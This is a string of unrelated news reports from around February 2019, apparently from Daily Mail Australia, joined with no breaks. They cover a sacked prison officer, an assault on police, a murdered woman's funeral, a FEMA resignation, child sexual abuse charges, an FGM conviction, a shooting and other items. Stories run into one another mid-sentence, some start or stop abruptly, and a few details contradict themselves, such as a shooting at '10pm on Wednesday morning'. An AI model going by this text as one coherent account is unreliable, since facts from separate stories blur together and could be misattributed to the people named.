Daily Mail Australia understands management at Parklea Prison began investigating Ms Brooks (pictured) when a Valentine's Day card sent by her arrived for the 41-year-old inmate this week

A spokesperson for NSW Corrective Services confirmed they had sacked Brooks on Wednesday.

'A 33-year-old correctional officer at Parklea Correctional Centre has been charged with having an inappropriate relationship with an inmate,' the spokesperson said.

'The operator of the facility has since terminated the woman's employment.'

Zreika has been placed in segregation and is due to be transferred from Parklea to another prison in coming days.

Ms Brooks is due to face Blacktown Local Court on Thursday 7 March 2019.

Parklea Prison operator GEO Group has moved to dismiss earlier claims that inmates inside the jail had photos of Ms Brooks on their cell walls.

'GEO can confirm that there is no evidence of any inmates having access to images of the dismissed staff member,' a spokesperson said.

The prisoner involved with Ms Brooks has been placed in segregation and will be transferred from Parklea Correctional Center (pictured) to another prison in coming days

The saga is just the latest in a long history of controversies for the privately run jail and its operators GEO.

Previously another female prisoner was allegedly caught smuggling tobacco into the jail, while inmates were caught boasting on Facebook about having knives inside the prison.

GEO is due to hand over control of the prison to MTC Broadspectrum on April 1.

Daily Mail Australia revealed last month that some 343 claims of alleged misconduct were referred to investigators examining 'inappropriate' relationships in the New South Wales prison system.A man who attempted to bite and spit on police and paramedics in a violent outburst warned 'I have AIDS' and said he would infect 'all of them'.

Matthew Charles Summers threatened to infect officers with the deadly virus in a confrontation that took place inside Manly Police Station in Sydney on February 4.

The unemployed 42-year-old, from Frenchs Forest in northern Sydney, issued the chilling warning after police arrested him for breaching an Apprehended Domestic Violence Order (AVDO).

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(File picture) Matthew Charles Summers threatened to infect officers with the deadly virus in a confrontation on February 4

Summers faced Manly Local Court on Wednesday, via a video link from Silverwater Remand Centre, and pleaded guilty to two counts of assaulting a police officer in the execution of their duty, one count of common assault, one count of damage property and one count of breaching an AVDO.

Police claim Summers was apprehended after an incident with a relative on February 3.

He was served with an ADVO in the early hours of the morning the following day.

But less than an hour after he received the ADVO, police were alerted to an incident at the same property.

He is accused of verbally abusing the same relative.

Summers told officers 'I have AIDS. I will infect all of you' in a confrontation at Manly Police Station (pictured)

He was arrested but later granted bail on the condition he didn't go near the relative.

Just three hours after he was released on bail, Summers returned to the property and is alleged to have banged on a door.

He was then re-arrested by officers and escorted back to Manly Police Station.

While in custody Summers said he was suffering from chest pains and officers called an ambulance.

Paramedics arrived at the scene shortly after and Summers is accused of shouting 'I have AIDS I will infect all of you', The Daily Telegraph reported.

Summers is due to reappear in Manly Local Court (pictured) on March 28 for sentencing

Summers, who was standing in the station custody area, had his hands cuffed behind his back and was restrained by two officers.

He attempted to bite one of the officer's hand but the policeman put his hand on Summers head to stop him, the Facts stated.

The court heard he also blew his nose repeatedly and tried to spit and a paramedic and 'spat phlegm' at a police officer, which landed on his uniform.

At the hearing Summers solicitor, Greg Meakin asked Magistrate Chris Longley to grant bail, to which Mr Longley agreed on the condition he didnt contact or go near the relative in the AVDO.

Summers is due to reappear in Manly Local Court on March 28 for sentencing.An emotional funeral was held Wednesday for Valerie Reyes, the 24-year-old woman whose corpse was found stuffed inside a suitcase dumped on the side of a quiet road in suburban Connecticut.

Dozens of friends and relatives were seen hugging and wiping away tears outside of St Gabriel's Church in New Rochelle, New York.

Many of the attendees wore white sweatshirts bearing a photo of Reyes and the words: 'In Loving Memory of our beautiful soul Valerie. You captured so many hearts'.

'She was just silly and just a free soul, beautiful soul. She's going to be missed,' Reyes' cousin Desiree Rodriguez said as she made her way into the church on Wednesday.

'We're devastated, but we're happy that the person was caught so she gets to go in peace. It kind of brings us a little more peace, too, to let her go.'

After the hour-long memorial service, loved ones held white balloons as a Reyes was buried in a green casket adorned with yellow and white flowers at a cemetery in nearby Rye, New York.

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An emotional funeral was held Wednesday for Valerie Reyes, the 24-year-old woman whose corpse was found stuffed inside a suitcase dumped on the side of a quiet road in suburban Connecticut. Loved ones are seen huddled around her casket at a cemetery in Rye, New York

Friends and family gathered at St Gabriel's Church in New Rochelle, New York, for the memorial service on Wednesday, two weeks after Reyes went missing and one week after her body was found on the side of a road in Greenwich, Connecticut

Many of the mourners were wearing white hooded sweatshirts with Reyes' photo and the words: 'In Loving Memory of our beautiful soul Valerie. You captured so many hearts'

Pallbearers carry Reyes' emerald casket into St Gabriel's Church ahead of the funeral mass

A black hearse is seen in front of the church as loved ones file in for the memorial service

Reyes' was laid to rest at Greenwood Union Cemetery in Rye, New York, after the funeral

Loved ones held white balloons as Reyes' casket adorned with yellow and white flowers was lowered into the ground

Reyes was reported missing on January 30 when she failed to turn up for work, and her body was found one week later on February 5. Her ex-boyfriend Javier Enrique Da Silva Rojas was arrested and charged in connection with her death on Monday, two days before the funeral

Reyes' funeral came two days after her ex-boyfriend, 24-year-old Javier Enrique Da Silva Rojas, was arrested and charged with kidnapping resulting in death. The charge carries the possibility of the death penalty.

Investigators say Rojas has denied killing Reyes and claims that she died after falling and hitting her head while the pair were having sex.

He allegedly admitted to binding her hands and feet, putting packing tape over her mouth, forcing her body into a case and abandoning it on the side of a road in Greenwich, Connecticut.

US Immigration and Customs Enforcement (ICE) officials revealed in a statement on Wednesday that Rojas is a citizen of Portugal who has been in the US illegally for more than a year.

He reportedly entered the US on May 8, 2017, through the Visa Waiver Program and was required to leave by August 5, 2017.

ICE filed a detainer for Rojas on Wednesday, meaning he will be deported immediately after his criminal case is complete and any sentence is served.

Susanne Brody, a lawyer for Da Silva, declined to comment Wednesday.

The Visa Waiver Program allows citizens from 38 countries to travel to the US for tourism or business for up to 90 days without a visa.

Of the nearly 22.5 million people who entered the US under the program and were supposed to leave in the 2017 fiscal year, about 131,000 remained in the country illegally, according to the Department of Homeland Security.

Investigators say Javier Enrique Da Silva Rojas, 24, has denied killing Reyes and claims that she died after falling and hitting her head while the pair were having sex. The pair are pictured together in a photo he posted to Instagram last year

Rojas allegedly admitted to binding Reyes' hands and feet, placing tape over her mouth and putting her body in a suitcase, which he dumped by the side of a road in Connecticut

The reddish-orange suitcase containing Reyes' body was discovered by highway workers in Greenwich around 8.15am Tuesday, one week after the 24-year-old was last seen on January 29

Police have said that Reyes (left) reportedly broke up with Rojas (right) just days before she went missing, though the victim's mother says they actually stopped dating a year ago

Rojas, who was staying in Queens, was taken into custody on Monday after police say he tried to use Reyes' bank card to withdraw $1,000 from an ATM.

The arrest followed the police investigation of multiple crime scenes, reviewing hundreds of hours of surveillance footage, and interviews multiple potential witnesses, the Greenwich Police Department said in a press release on Tuesday.

'New Rochelle Police Detectives accompanied by Greenwich Police Detectives, arrested a suspect in New York who had fraudulently used the ATM card of homicide victim Valerie Reyes,' the statement said.

'The arrested individual is also believed to be involved in the death of Valerie.

'We are confident that the pursuit of justice for Valerie will be successful and we continue to work with the family to provide closure to this tragedy.'

Reyes is seen in a picture issued by the NYPD while officers were searching for her after she was reported missing on January 30

Reyes was reported missing on January 30 when she failed to turn up for work, before her body was found on February 5.

Her body had reportedly been dumped by Rojas a week before she went missing, though her mother told police that the pair hadn't been seeing each other for a year, according to the New York Post.

A source told CBS that Reyes was 'killed at her residence'.

The victim predicted her murder, telling her mother, Norma Sanchez, on the phone that she feared she'd be killed on January 28, a day before she disappeared.

'She was very scared, very frightened,' Sanchez told The Journal News.

'She didn't mention anything or no one specific. She just said, 'I'm scared. I'm paranoid, mommy. I'm getting anxiety attacks, She was having a hard time talking.'

Sanchez says she desperately tried to pry for more information, but her daughter refused to specify why she felt that way.

Reyes had reportedly dumped her boyfriend Rojas a week before she went missing

In a haunting message sent to her mother the day before she vanished, Reyes said she feared someone was about to kill her

A vigil was held by family and friends last Thursday to mourn the loss of Reyes, whom many have described as a 'sweetheart'

Reyes, a Barnes & Noble store clerk, had broken up with her boyfriend five days earlier, according to Sanchez.

'I asked her why do you feel this way? Was there someone at your house?' Reyes' mother said.

She asked about her daughter's ex-boyfriend but still Reyes told her mother 'no, it wasn't him'.

Reyes did however reveal that she didn't feel safe alone in her apartment, and expressed her concern at the murders of young women in the state.

'I'm worried someone is going to murder me,' Reyes then allegedly blurted out.

Her body was discovered six days later in a red suitcase on the side of a road in a wooded area of wealthy neighborhood Greenwich, Connecticut. It's 10 miles away from the New York border of her Westchester County home.

The official cause of Reyes' death has not been confirmed as the autopsy is pending.

Police said tips have been pouring in with leads in her horrific and sudden slaying.

Police said previously that Reyes did not die at the location where she was found, but they did not know where she was killed.

According to The Journal, Reyes had taken her iPad, iPhone, clothes and bed sheets with her when she disappeared.

During a press conference Tuesday Greenwich Police Capt Robert Berry said authorities arrested Rojas after he tried to use Reyes' ATM card in New York City

The suitcase with Reyes' body had been dumped in a wooded area (above) about 15 feet from Glenville Road in Greenwich, Connecticut

Glenville Road runs through a quiet and somewhat isolated area of Glenville, a wealthy suburb of Greenwich with a population of just over 2,200 peoplePolice have launched a bid to find a missing woman who disappeared from her Derbyshire home on Monday.

Megan Fisher was last seen on the evening of Monday February 11 in the Swadlincote area and according to police, has links to both Nottingham and Sheffield.

The 19-year-old has been described as white, of a slim build, with long brown, blue eyes and standing at around 5ft 9ins.

Megan Fisher (pictured above) has been missing since Monday evening

A spokesman at the force said: 'If you have seen Megan, or know where she is, please get in contact quoting reference number 1448 of February 11.'

Earlier today the Derbyshire Police Twitter account issued an appeal via social media which read: 'Were concerned for the safety of Megan Fisher, 19, who was reported #missing from #Swadlincote on Monday evening (February 11). Megan is understood to have links to #Nottingham and #Sheffield. Have you seen her or know of her whereabouts?'

Derbyshire Police can be contacted on social media or by calling 101.

Anonymous reports can be made through Crimestoppers on 0800 555 111.Brock Long, who investigators determined misused government vehicles during 400-mile commutes to his home in North Carolina, is stepping down as the head of FEMA, the agency chief revealed.

Long headed the Federal Emergency Management Agency through a series of monster storms, including Hurricane Maria, which ravaged Puerto Rico, leading to dozens of deaths  and a disaster response that Democrats are preparing to probe.

Long's vehicle use surfaced just as he was preparing to contend with another storm, Hurricane Florence, when it was revealed that a Homeland Security inspector general was probing his trips to Hickory, North Carolina.

Federal Emergency Management Agency (FEMA) Administrator Brock Long is resigning after a probe of his use of government vehicles. He thanked staff for joining him on an 'incredible journey'

In September, the IG released a report that found Long's home-to-work travel was 'not authorized.'

The trips cost the government $94,000 in salary costs, $55,000 in travel expenses, and another $2,000 in operations and maintenance costs.

Long was told to repay the government for expenses, which also included costs with transportation during a family vacation in Hawaii.

Although he resisted calls for his resignation, the Democratic takeover presented Long with another challenge. House Oversight and Government Reform chairman Rep. Elijah Cummings blasted him during the release of the report, saying the head of FEMA should not be 'using government vehicles to shuttle his family around Hawaii at taxpayer expense.'

'Administrator Longs apparent violations of federal law for his own personal benefit are another example of how senior officials in the Trump Administration continue to use American taxpayer money to bankroll their lavish lifestyles,' Cummings said at the time. 'Even more concerning are his efforts to mislead investigators after he was caught,' he said, seeking a briefing on how the government would claw back the funds.

Equally daunting for Long and the agency will be further oversight of the Trump administration's response to Hurricane Maria in Puerto Rico. The storm and its aftermath resulted in an estimated 3,057 deaths, according to the island government, following an initial estimate of 64 deaths.

President Donald Trump stood by Long as his vehicle scandal unfolded during hurricane season. Here Trump and First Lady Melania Trump attend a briefing on damage from Hurricane Michael with Secretary of Agriculture Sonny Perdue (L) and FEMA Administrator Brock Long (2nd L) in Macon, Georgia, October 15, 2018

President Donald Trump and first lady Melania Trump talk with FEMA Director Brock Long, Department of Homeland Security Secretary Kirstjen Nielsen, Florida Governor Rick Scott and other local residents and officials in the town of Lynn Haven, Florida, as they tour areas ravaged by Hurricane Michael in Florida and Georgia, U.S., October 15, 2018

President Donald Trump shakes hands with FEMA Administrator Brock Long after visiting areas in North Carolina and South Carolina impacted by Hurricane Florence at Myrtle Beach International Airport in Myrtle Beach, S.C. Long has resigned from FEMA on Feb. 13, 2019

As the IG was investigating, it was revealed that Long would make the 400-mile trip to his home in a 'caravan' of vehicles. Taxpayer-paid drivers would be put up in hotels in Long's home state, adding to the expense.

'This is one of the toughest decisions I have ever had to make,' Long told FEMA staff

'Thank you for an incredible journey and for the support you have shown me. Whether you agreed with my vision for the agency or not, thank you for standing with me as we tried new concepts designed to ultimately save lives and better our profession.'

Homeland Security Secretary Kirstjen Nielsen praised Long in a statement on his departure.

'Over the last two years, Administrator Long has admirably led the men and women of FEMA during very difficult, historic and complex times. Under Brock's leadership, FEMA has successfully supported State and Territory-led efforts to respond and recover from 6 major hurricanes, 5 historic wildfires and dozens of other serious emergencies. I appreciate his tireless dedication to FEMA and his commitment to fostering a culture of preparedness across the nation,' she said.

'Deputy Administrator Pete Gaynor will become Acting Administrator upon Brock's departure. Rest assured, FEMA is prepared to continue to lead current recovery efforts, to respond to new disasters, and to get ready for this year's hurricane season,' she added.Joseph Peter Sisemore, 41, was arrested on Monday for having sexual relations with the teen approximately 25 times at his Chandler home

A father in Arizona repeatedly had sex with the 15-year-old babysitter that he hired to watch his 10-year-old daughter, police said.

Joseph Peter Sisemore, 41, was arrested on Monday for having sexual relations with the teen approximately 25 times at his Chandler home since November.

He was detained on the 100 block of North Dodson.

It is believed that the supposed sovereign citizen performed oral sex on the babysitter and had sex with her on numerous occasions.

He is also said to have digitally penetrated the girl and had her to perform oral sex on him, Chandler Police Det. Seth Tyler explained to the New York Post.

The encounters are said to have all occurred in Sisemore's apartment, taking place two years after the babysitter was hired.

'There was probably some grooming going on,' Tyler added. 'As parents, it's so important to keep track of what our kids are doing. It's so important that we make sure we know who is at the house or what type of things are being said to them.'

The encounters are said to have all occurred in Sisemore's apartment, taking place two years after the babysitter was hired

The teen's parents contacted police, who arrested the man as he left a drug store after buying the morning-after pill for the girl, an arrest affidavit states.

Sisemore is also said to have told the girl to 'wear some of his clothes as pajamas' so he could smell her on his clothing later.

He was identified as potentially being a sovereign citizen, meaning he is an anti-government extremist who feels that laws of the government don't apply to him.

The FBI says that 'Sovereign citizens are anti-government extremists who believe that even though they physically reside in this country, they are separate or sovereign from the United States. As a result, they believe they dont have to answer to any government authority, including courts, taxing entities, motor vehicle departments, or law enforcement.'

The man admitted to having sex with the teenage babysitter on three different phone calls that were recorded, earlier this week. According to the affidavit, he is sai to have said that he could get 'into a lot of trouble' if the encounters were discovered.

Sisemore was taken to the Maricopa County Jails and charged with 11 counts of sexual conduct with a minor.

It is currently unknown if he has a lawyer.A juror has been kicked off a New Jersey murder trial after she posted 'sitting on the jury LMAO' on Facebook in response to a news article discussing the case.

The lawyer for Liam McAtasney, who is accused of strangling his former high school classmate and throwing her body off a bridge, demanded a mistrial on Wednesday.

Monmouth County Superior Court Judge Richard English received a tip about the juror's Facebook comment last week, NJ.com reports.

'Sitting on the jury LMAO (laugh my a** off),' she commented on a post about the 2016 murder of Sarah Stern.

The judge questioned the juror last Thursday and she blamed her little sister for posting the since-deleted comment.

The lawyer for Liam McAtasney, who is accused of strangling his former classmate Sarah Stern and throwing her body off a New Jersey bridge, demanded a mistrial on Wednesday

Judge English dismissed the juror from the trial.

The incident only came to light on Wednesday when the trial resumed and the jurors were called in and asked if they knew why the woman had been dismissed.

Five jurors said they had found out the woman had posted something on Facebook but didn't know the contents of her post.

Prosecutors had been expecting to call their final witnesses on Wednesday.

The murder trial has already been going on for weeks.

The judge agreed to an adjournment request from McAtasneys attorney so he can file a motion for a mistrial.

The ordeal comes after jurors were last week shown vital evidence in the trial, including a secretly recorded video of McAtasney describing how it took Stern 30 minutes to die and that he had timed it on his phone.

McAtasney was secretly recorded telling his friend, who was working with investigators, about how he killed the 19-year-old Sarah Stern for her inheritance back in 2016.

Liam McAtasney was caught on a secretly recorded video (above) telling his friend, who was working with investigators, about how he killed 19-year-old Sarah Stern for her inheritance in New Jersey back in 2016

The video was filmed just days before McAtasney and his alleged accomplice, Preston Taylor, were charged in 2017 with killing the 19-year-old girl.

Authorities said McAtasney and Taylor threw Stern's body off a bridge before leaving her car there to make it look like she killed herself.

Jurors were shown the disturbing video, which was caught on a hidden camera planted by police, during McAtasney's murder trial on Thursday.

'I pretty much hung her,' McAtasney said to his friend Anthony Curry in the footage.

Authorities said McAtasney and Taylor threw Stern's body off a bridge before leaving her car there to make it look like the 19-year-old killed herself. Her body has never been found

'I picked her up and had her dangling off the ground. It took me a half hour to kill her. I set a timer.'

McAtasney says in the video that he then shoved a shirt down her throat and placed his finger on her nose.

He said the biggest problem was Stern's dog but it just 'laid there and watched as I killed her.'

McAtasney went onto tell his friend that he needed Taylor's help dumping Stern's body off the Route 35 bridge because he didn't realize how heavy she would be.

In the video, McAtasney also talks about he thought he was going to get $100,000 by robbing Stern of her inheritance after killing her, but that he only got $8,000.

'The worst part of it is I thought I was going to come out $50,000 to a $100,000 in my pocket. She had one safe that she took money out, and she only had $10,000,' he said.

'And this money, I don't know if it was burnt or something, it's f*****g old money. Terrible quality. I don't even know if I can put any of it in the f*****g bank.'

McAtasney can also be heard telling Curry that Taylor would kill him if he snitched.

He claimed that Curry was the only person to know about Stern's death besides Taylor.

The conversation was filmed just days before McAtasney (left) and accomplice, Preston Taylor right), were arrested and charged with the murder of 19-year-old Sarah Stern

'I don't feel any different, I really don't think about it,' McAtasney said. 'You always think you're going to try all these new things and change, but it just doesn't do anything. It's weird.

Curry replied: 'It's a f****** movie, man.'

McAtasney replied: 'It's your life. You might as well make it one. What are you going to live some boring a** life?'

Curry came forward to authorities in January 2017 after his father contacted a retired officer from the Bradley Beach department.

He testified on Thursday that McAtasney first told him of his plans to strangle Stern on Thanksgiving in 2016.

At the time, he hadn't thought much of the conversation but grew worried when he learned that the woman had been reported missing on December 3, 2016.

Curry had attended high school with both Stern and McAtasney.

Both Stern and McAtasney had been in the victim's home in Avon-by-the-Sea when she found a shoebox full of cash that had belonged to her deceased mother.

'He told me he was going to meet up with Sarah, she had found this money,' Curry said in court.

Authorities said McAtasney and Taylor threw Stern's body off a bridge before leaving her car there to make it look like she killed herself. Police later found her abandoned car on the bridge (pictured above)

Alleged accomplice Preston Taylor admitted to his role in the killing and testified against McAtasney on the first day of the trial

'They were going to count it together. He was going to choke her, choke her out. Bring her to the bridge, throw her off and Preston was going to drive the escape vehicle. And they were going to bury the money, and leave the keys in the ignition and make it look like she killed herself.'

After Stern's disappearance, Curry said that he and McAtasney corresponded on Snapchat because of its ability to get rid of messages. Curry videotaped the contents from those messages.

The messages led Monmouth County Prosecutors to obtain a warrant for consensual recording.

McAtasney's attorney has argued that the video is not a confession and that McAtasney made up a story to impress his friend.

'The statement to Anthony Curry is not a confession,' Carlos Diaz-Cobo said.

'It's an elaborate lie, it's an audition. It's a script. It's not true. ... A young, immature boy decided he was going to use this unfortunate disappearance and make up this story.'

Curry admitted, during cross examination, that his friend had a tendency to share fabricated stories with him and that the two often talked about movies together.

The defense claims there is no physical evidence to support the accusations.

Stern's body has never been found.BEIRUT - The United Nations said in a report released Wednesday that there are about three million civilians in need of humanitarian aid in northwestern Syria, which is not under government control and where Turkey has a strong influence.

In the report, United Nations agencies said there are 2.7 million people in need in the region of Idlib and bordering districts in the regions of Aleppo, Latakia, and Hama.

A Queensland woman has been found guilty of arranging for her two daughters to have their genitals mutilated in Somalia.

The woman, who cannot be named for legal reasons, denied she had taken the girls, then aged 12 and nine, to her birth nation in April 2015 to undergo the procedure.

She was convicted by a Brisbane District Court jury on Wednesday of two counts of removing a child from the state female genital mutilation (FGM).

A Somali-born QLD mother accused of arranging for her two daughters, nine and 12, to have their genitals mutilated, has been found guilty by a Brisbane District Court (stock image)

The jury deliberated for about 90 minutes before reaching their verdict.

The trial heard the woman, who had undergone a similar procedure as a girl, had her daughters endure FGM a few days after arriving in Somalia.

One of the girls was called inside from playing outside her grandmother's house and had no idea what was about to happen when she had the painful procedure.

She was conscious throughout and it caused pain for days. Her sister was also subjected to the procedure, also with their mother by her side.

'(Their mother) had them in her care for the entire time. She was there when they were mutilated not long after they arrived in Somalia,' crown prosecutor Dejana Kovac said.

'She extended the trip to give them time to heal before returning to Australia.'

The family returned to their home in the Logan area, south of Brisbane, seven months later. Then the girls' stepsister tipped off child safety services.

The girls told Queensland police about their experiences, leading to the charges against their mother.

The woman said that whatever had happened to the girls was 'from God.' (stock image)

Pediatrician Ryan Mills, who examined the girls, told the court the flattening of their clitoral hoods and discolouration of associated skin was 'abnormal' and unlikely to be a 'natural variation'.

'(The abnormalities) could be explained or are consistent with, in medical terms, genital mutilation,' he testified.

He said there was no therapeutic reason for the procedure.

Female genital mutilation removes the clitoris and other parts of the genitalia, preventing those who have undergone it from experiencing physical sexual pleasure and theoretically increasing the likelihood of a girl staying a virgin until marriage, and taking away a motivation for extra-marital relations.

Defence barrister Patrick Wilson said key medical evidence could have been interpreted differently by doctors not familiar with the case.

In a police interview, the woman said their trip had been to visit her mother and she'd done 'nothing' in relation to a genital mutilation procedure.

Whatever had happened to the girls was 'from God', she said.

Asked by Justice Leanne Clare if there was any reason why sentencing should not be passed down, the woman, through an interpreter, said she had cancer and back problems.

She was granted bail and will be sentenced at a later date.A man who was attacked by a crazed goanna was trying to protect his peacocks when the lizard dug its razor-sharp claws into his knee.

Paul Smallhorn tried to pull the 1.5 metre-long reptile away from the birds at his Toogoolawah home, in south-east Queensland on Wednesday morning.

'I walked about 50 metres to let him go and he threw his tail around my leg, pulled his body into me and dug all his claws in,' Mr Smallhorn told 9news.

The 1.5 metre goanna (pictured) threw its tail around Mr Smallhorn's leg and dug its razor-sharp claws into his knee

A paramedic rushed to the aid of Mr Smallhorn and ended up getting injured with lacerations of his own

His girlfriend, Willy, who witnessed the horrific incident, phoned police and paramedics when she realised he couldn't let go of the lizard without being bitten.

'What they'll do is climb over you like a tree and then you'll end up with claws all over your face and everything and bites,' said Willy.

A paramedic rushed to the aid of Mr Smallhorn and ended up getting injured with lacerations of his own.

The pair were taken to Esk Hospital in stable conditions.

Both suffered cuts to their arms and legs but fortunately weren't deep enough to need stitches.

Mr Smallhorn and the paramedic returned home by lunchtime.

Mr Smallhorn suffered cuts on his arms and legs but fortunately weren't deep enough to need stitches

The incident comes weeks after an eight-year-old girl was attacked by a goanna at South Stradbroke Island, north of the Gold Coast, on January 24.

The metre-long reptile latched onto the girl's foot during the attack at a beach side camp before she was rushed to hospital.

Experts say goanna bites can cause pain, swelling and prolonged bleeding because they carry toxic bacteria in their mouths from feeding on the decaying flesh of dead animals.A man walked into a Tennessee dental office and fatally shot his wife before he was shot and detained by a bystander who was legally carrying a handgun.

Sullivan County Sheriff Jeff Cassidy told news outlets that a bystander at David A. Guy Dentistry in Kingsport held him until officers arrived after he killed his wife.

Cassidy said the bystander was legally licensed to carry a weapon. He called him a hero who 'took care of the situation until police officers arrived.'

A bystander shot and detained a man who fatally shot his wife until police arrived at the David A. Guy Dentistry (pictured) in Kingsport, Tennessee

The sheriff said the woman was taken to a hospital after Wednesday's shooting and pronounced dead.

The man was being treated at a hospital, but his condition wasn't immediately available. Police have not released the names of those involved.

News outlets report investigators were interviewing multiple patients and employees who were at the practice when the shooting happened. It was also reported that the woman was an employee at the dental office.

Sullivan County Sheriff's Office deputy arrived to the scene at around 10pm on Wednesday morning.

Cassidy described the crime as a 'work place' domestic violence incident, adding that the armed suspect entered with the intent to kill his wife, the Kingston Times-News reported.

The concealed carry holder who shot that man is also not being named, but officials confirmed he was at the dental office to receive treatment.

Investigators at the scene of the incident where a bystander intervened by shooting a man who killed his wife, who is understood to be an employee

Officials carried out interviews at the scene with several patients and employees, including one who left in blood stained nursing scrubs

'A concealed carry permit holder saw the threat, took action on the threat and stood by until officers arrived,' said Sullivan County Sheriff Jeff Cassidy. 'We're calling him a hero today.'

The bystander who shot that man is also not being named, but officials confirmed he was at the dental office to receive treatment.

Officials carried out interviews with several patients and employees, including one who left in blood stained nursing scrubs.

Meanwhile, Sullivan County School officials put a nearby Colonial Heights Middle School on lockdown as a safety precaution.

Additional details on the incident are expected to be released by the Sheriffs Office on Thursday.A thief has made off with $5,000 and equipment from a charity vegan restaurant where customers pay what they think the food is worth.

Lentil as Anything in Melbourne's St Kilda was targeted by a burglar in an early morning raid on Thursday.

Security cameras caught the moment the man broke into the restaurant and made off with two safes.

Cafe manager Dayle Jones said the theft was a massive blow for the business as they rely on donations and volunteers to continue to operate

Footage shows the man wearing a dirty apron over his face while stacking boxes in front of the cameras to shield his identity.

He first tries to break into a safe while inside the building but after failing he decides to carry both safes out.

A computer, mobile phone, $5,000 and the keys to the donation box were taken.

The restaurant does not have set prices and allows customers to pay what they feel the meal was worth.

They rely on donations and volunteers to continue to operate.

Restaurant manager Dayle Jones told 9News the theft was a massive blow for the business.

'We're always struggling because we are here to help the community,' he said.

Ms Jones has urged for the stolen items to be returned.

Lentil as Anything (pictured) does not have set prices and allows customers to pay what they feel the meal was worthDavid McCovery was left homeless without money or a phone five years ago. He offered to drive his brother's friend from Mississippi to San Diego but had his car and belongings stolen

A pair of Good Samaritans in California have reunited a homeless man with his family who thought he was dead after five years lost in another state.

David McCovery found himself living on the streets after he drove his brother's friend from Mississippi to San Diego to see his daughter but had his car stolen and had to survive without a phone or money.

The man, now 61, had recently suffered a stroke and forgot the contact details of his loved ones but it was the help of a kind couple last week that enabled him to see them again.

After recently having a stroke he was confused and unable to find family until 'angels' helped

Claudette and Alicia Clark found him outside Costco in San Diego and heard his story

Claudette Clark and her wife Alicia spotted him sleeping rough outside a Costco store in San Diego and heard the story of how he became confused.

McCovery had been trying to make a life for himself after a stint in prison and they bought him some shoes for his swelling feet.

'He was hobbling and only had one shoe,' Alicia told ABC 10. 'Claudette asked if he needed anything else, and he said, 'I just want to go home.'

After sharing his story on Facebook last Friday, which was shared 4,000 times, and creating a GoFundMe page Saturday that had raised $1,130 of an $800 goal by Wednesday afternoon, the power of social media helped them finally connect.

Clark wrote on social media as they hunted for his relatives: 'I need your help finding his sister, so we can get him home. Her name is Lelia Mae. Her last name may be Johnson, Kirkland, McClain, or Mitchell. She is about 59 years old. He says she is/was married to Robert McClain.'

The couple brought him clothes, food and sheltered and posted on social media

Within 24 hours they'd found family but his sister who search for him had died. A GoFundMe page helped raise money to fly him home and treat his swollen foot

'We found Mr. David on the streets of San Diego. He is a joyous man although he is injured, homeless and living under the bushes on the streets,' Clark's Facebook post read.

Only 24 hours later they were able to locate his family. However his sister who had gone to California to look for him, sadly passed away before she had any luck.

'We found his family (Hallelujah!!!) in Moss Point, Mississippi,' Clark posted on the crowdfunding website. She added his other relatives 'had presumed him to be dead, when they couldn't find him'.

'Now that they are aware that he is alive, they are welcoming him with open arms' Clark continued.

It's been an emotional experience for the spouses. Alicia said, 'I've never shed so many tears'

Alicia said: 'One sister, who thought he was dead, couldn't even connect in her mind it was David ... Then they just started screaming and crying'.'

'FB helped us find his family in Moss Point, Ms and now we need help getting him cleaned up, fed, clothed and on the plane home.'

They got him cleaned up, bought him clothes, gave him money to buy a few meals and paid for accommodation for him to get a good night's rest. All with the help of people who heard the heartwarming story.

'It is cold and wet in San Diego right now (below 50), and our desire is to put him in a motel room, get him food, a hot shower (which he said he desperately desires), clean clothes and a plane ticket home!' they explained. 'Due to his condition with his legs, it would be in his best interest to get him there quickly, rather than a long, arduous bus ride. Plus, the plane ticket is less expensive than the bus.'

However they had one more obstacle after gathering enough to fly him out of the state.

The 61-year-old is now acclimatizing with his relatives who thought he was dead

On Tuesday Clark updated followers who had donated online: 'As of right now Mr. David is secure from the elements in his hotel room, he is warm and still in good spirits. However, his left foot and leg are extremely swollen. So, we are at the hospital, awaiting medical clearance to fly . 'If all is well, hopefully, Mr. David will be in the friendly sky's on his way to his family tomorrow.'

McCovery shared how he 'never thought it would happen to me' and admitted he 'just wanted to give up'. However his faith in god got him through the hardship and called the spouses his 'angels'.

'I thought I would be stuck for the rest of my life ... something in me wouldn't let me give up,' he continued. 'I can't wait, can't wait ... Full of joy right now.'

The life-changing encounter was emotional for the women who helped him too with Alicia saying, 'I've never shed so many tears.'

Wednesday afternoon Clark added an update online about McCovery's condition.

'David is home and resting well! We are leaving this GoFundme site available for more donations although we reached our goal,' she shared. 'After 5 years David has some acclimating & day-to-day needs while he waits for his leg to heal. This site is here for those who are interested in continuing to donate, thank you.'Homeowners looking to upgrade to a bigger house have been urged to capitalise on the property price plunge of 2019.

The head of Real Estate Buyers Agents Association (REBAA) says the time is right for homeowners to dictate prices amid the anticipated drop.

President Rich Harvey said such buyers would fill the gap left by a decline in investor activity, brought about by tighter lending standards and a looming cut in tax incentives for negative gearing.

Homeowners looking to upgrade to a bigger house have been urged to capitalise on the property price plunge of 2019

'Finance will be the big game changer this year,' said Mr Harvey.

'Gaining finance is taking significantly more time and the best weapon any buyer has to getting property secured quickly is making sure their finance is approved and cash buyers will be in the driver's seat.

'Buyers should not be deterred by headlines about restricted credit, instead it should be a motivator to ensure their finances are in order so the application sails smoothly through credit checks.'

An REBAA survey revealed those in Sydney and Melbourne who have paid a large chunk off their mortgages were expected to benefit from moving into larger homes when compared to last year.

Those looking to downsize to apartments or regional areas were also urged to pick the best opportunities in the first six months of the year.

Jacque Parker from House Search Australia said upgraders in Sydney have the 'luxury' of time on their side and a flatter rental market.

President Rich Harvey (pictured) said the homeowners looking to upsize would fill a gap left by a decline in investor activity, brought on by a struggle with banks and lending

Cate Bakos from Cate Bakos Property acknowledged that current lending conditions favoured downsizers, but recognised that some may be fearful to sell due to soft demand in Sydney and Melbourne.

'The increased lender scrutiny is adversely impacting higher price-band properties, while the combination of more favourable lending conditions applying to the lower price-band stock and the government concessions for eligible buyers means that downsizing could be problematic for some,' Ms Bakos said.

'A reduced sale price and a strong purchase price are likely issues that these buyers face in some markets across Melbourne.'An accused serial rapist on the FBI's 10 Most Wanted list has been killed in a police shootout at a hotel in North Carolina.

Greg Alyn Carlson, 47, died on Wednesday morning after police and FBI agents acting on a tip closed in on the Woodspring Suites in Apex, on the southwestern outskirts of Raleigh.

Officials said that when authorities closed in, an armed Carlson resisted, and officers were forced to open fire, shooting and killing him. Positive identification of the body is still pending the coroner's examination, according to police.

